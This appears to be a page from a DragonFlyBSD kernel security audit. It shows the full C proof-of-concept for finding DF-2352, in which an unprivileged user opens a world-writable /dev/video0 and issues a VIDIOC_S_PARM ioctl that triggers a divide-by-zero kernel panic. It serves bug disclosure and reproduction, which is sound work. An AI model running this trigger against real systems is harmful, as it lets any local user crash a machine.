⬢ DragonFlyBSD Kernel Audit
DF-2352 / trigger_sparm.c
← back to finding ↓ download raw
/*
 * trigger_sparm.c -- unprivileged trigger for DF-2352.
 *
 * Plain local user; /dev/video0 is created by the production
 * uvc_v4l2_reg() with mode 0666 (UID root, GID video).
 *
 * Emits VIDIOC_S_PARM -> production dispatch:
 *   uvc_v4l2_ioctl (uvc_v4l2.c:503)
 *     -> uvc_drv_set_streampar (uvc_drv.c:1370)
 *       -> uvc_drv_try_frame_interval (uvc_drv.c:480)
 *          continuous branch divides by step == 0 (uvc_drv.c:504)
 *          -> kernel #DE (divide error) -> panic
 *
 * Structs/ioctl numbers mirror the kernel's own
 * sys/contrib/v4l/videodev2.h (DragonFly uses _IOWR('V', 22, ...) for
 * VIDIOC_S_PARM -- NOT the Linux number 75).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>

struct v4l2_fract {
	uint32_t numerator;
	uint32_t denominator;
};

struct v4l2_captureparm {
	uint32_t		capability;
	uint32_t		capturemode;
	struct v4l2_fract	timeperframe;
	uint32_t		extendedmode;
	uint32_t		readbuffers;
	uint32_t		reserved[4];
};

struct v4l2_streamparm {
	uint32_t type;			/* enum v4l2_buf_type */
	union {
		struct v4l2_captureparm capture;
		uint8_t raw_data[200];
	} parm;
};

#define V4L2_BUF_TYPE_VIDEO_CAPTURE	1
#define VIDIOC_S_PARM	_IOWR('V', 22, struct v4l2_streamparm)

int
main(int argc, char **argv)
{
	struct v4l2_streamparm parm;
	const char *dev = (argc > 1) ? argv[1] : "/dev/video0";
	int fd, ret;

	fd = open(dev, O_RDWR | O_NONBLOCK);
	if (fd < 0) {
		perror("open");
		return 1;
	}
	printf("trigger_sparm: opened %s as uid=%d\n", dev, getuid());

	memset(&parm, 0, sizeof(parm));
	parm.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	parm.parm.capture.timeperframe.numerator = 1;
	parm.parm.capture.timeperframe.denominator = 30;

	printf("trigger_sparm: issuing VIDIOC_S_PARM (expect kernel "
	    "divide-error panic on vulnerable code; never returns)\n");
	fflush(stdout);

	ret = ioctl(fd, VIDIOC_S_PARM, &parm);
	printf("trigger_sparm: ioctl returned %d errno=%d (no panic -- "
	    "code is fixed or device absent)\n", ret, errno);
	return 0;
}